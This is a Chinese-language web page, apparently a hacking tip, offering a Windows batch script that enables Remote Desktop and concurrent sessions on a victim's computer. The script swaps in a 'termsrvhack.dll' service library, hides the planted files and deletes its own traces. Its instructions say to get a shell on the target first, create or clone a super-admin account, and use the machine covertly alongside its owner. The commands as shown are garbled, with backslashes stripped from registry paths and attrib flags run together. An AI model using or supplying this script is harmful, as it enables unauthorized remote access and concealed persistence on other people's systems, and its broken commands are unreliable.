@reg add HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLMSYSTEMCurrentControlSetcontrolterminal" "serverLicensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLMSYSTEMCurrentControlSetServicesTermServiceParameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%system32termsrvhack.dll /f
@copy c:termsrvhack.dll c:windowssystem32dllcachetermsrvhack.dll
@attribhsr c:windowssystem32dllcachetermsrvhack.dll
@copy c:termsrvhack.dll c:windowssystem32termsrvhack.dll
@attribhsr c:windowssystem32termsrvhack.dll
@shutdown -a
@del c:termsrvhack.dll
@net start termservice
@del c:3389.bat
【批處理注冊表不用重啟開3389多用戶】其中“pid"是要替換成TermService服務(wù)的PID號,可以用命令tasklist/svc命令得到 。當(dāng)然win2000和以下系統(tǒng)是沒有tasklist命令的 。
具體的操作方法是
先要得到對方的一個SHELL,然后在shell下用第三方軟件打開終端服務(wù),先不要改變默認(rèn)的3389端口,不然要重起后才登陸,再建一個或克隆一個超級管理員用戶 。
接下來把下載好的termsrvhack.dll和上面的批處理傳到對方的C盤根目錄下,然后在shell下運行此批處理 。提示成功!
最后打開登陸器,3389終端登陸!
說明一下你登陸進(jìn)去后在里面的操作和那臺電腦的主人操作是互不影響的,他玩他的,你玩你的,呵呵,爽伐?!
推薦閱讀
- 注冊表是什么
- DOS下修改和恢復(fù)注冊表的技巧
- 立即刷新注冊表命令
- 系統(tǒng)不正常？快速還原注冊表的方法
- 安全模式下通過注冊表修改屏幕刷新率和分辨率
- 修改注冊表禁止安裝軟件
- 修改注冊表 讓W(xué)in2008操作更易上手
- 如何鎖死注冊表，鎖死后如何打開
- 怎樣鎖定注冊表
- 注冊表中獲取用戶的sid